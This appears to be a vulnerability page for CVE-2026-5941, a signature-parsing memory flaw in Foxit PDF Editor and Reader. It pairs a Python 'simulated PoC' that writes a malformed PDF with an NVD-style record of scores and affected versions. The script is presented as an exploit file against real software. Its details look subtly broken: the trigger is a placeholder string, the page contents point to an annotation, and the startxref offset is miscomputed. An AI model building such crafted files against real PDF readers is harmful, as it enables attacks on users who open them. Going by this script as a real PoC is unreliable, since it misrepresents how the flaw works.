CVE-2026-5941

import sys # This is a simulated PoC for CVE-2026-5941 # It demonstrates how to construct a malformed PDF structure # that triggers the parsing logic flaw in the signature verification. pdf_header = b"%PDF-1.7\n" obj_1 = b"1 0 obj\n<< /Type /Catalog /Pages 2 0 R >>\nendobj\n" obj_2 = b"2 0 obj\n<< /Type /Pages /Kids [3 0 R] /Count 1 >>\nendobj\n" obj_3 = b"3 0 obj\n<< /Type /Page /Parent 2 0 R /Resources << /Font << /F1 4 0 R >> >> /MediaBox [0 0 612 792] /Contents 5 0 R >>\nendobj\n" obj_4 = b"4 0 obj\n<< /Type /Font /Subtype /Type1 /BaseFont /Helvetica >>\nendobj\n" # Malformed Form Field Hierarchy to trigger the parsing flaw # The structure is manipulated to confuse the signature parser malformed_sig = b"5 0 obj\n<< /Type /Annot /Subtype /Widget /FT /Sig /V (MalformedDataTriggeringOverwrite) >>\nendobj\n" xref = b"xref\n0 6\n0000000000 65535 f \n0000000009 00000 n \n0000000074 00000 n \n0000000131 00000 n \n0000000292 00000 n \n0000000373 00000 n \n" trailer = b"trailer\n<< /Size 6 /Root 1 0 R >>\nstartxref\n" + str(len(pdf_header + obj_1 + obj_2 + obj_3 + obj_4 + malformed_sig + xref)).encode() + b"\n%%EOF" with open("cve_2026_5941_poc.pdf", "wb") as f: f.write(pdf_header + obj_1 + obj_2 + obj_3 + obj_4 + malformed_sig + xref + trailer) print("PoC file generated: cve_2026_5941_poc.pdf")

{"cve": {"id": "CVE-2026-5941", "sourceIdentifier": "14984358-7092-470d-8f34-ade47a7658a2", "published": "2026-04-27T12:16:24.487", "lastModified": "2026-04-29T17:24:15.870", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Parsing logic flaws cause non-signature data to be misidentified as valid signatures when processing malformed form field hierarchies, leading to invalid memory writes and program crashes during internal data structure construction."}], "metrics": {"cvssMetricV31": [{"source": "14984358-7092-470d-8f34-ade47a7658a2", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "14984358-7092-470d-8f34-ade47a7658a2", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0.0", "versionEndExcluding": "14.0.4", "matchCriteriaId": "6C4B8779-474C-43FC-B02E-3754BFAB2432"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2023.0.0", "versionEndExcluding": "2026.1.1", "matchCriteriaId": "D3D204C5-D29B-4341-B48E-6F634E41126E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_reader:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026.1.1", "matchCriteriaId": "C18DA4A1-62E6-4734-840D-B5280B765A9E"}]}]}], "references": [{"url": "https://www.foxit.com/support/security-bulletins.html", "source": "14984358-7092-470d-8f34-ade47a7658a2", "tags": ["Vendor Advisory"]}]}}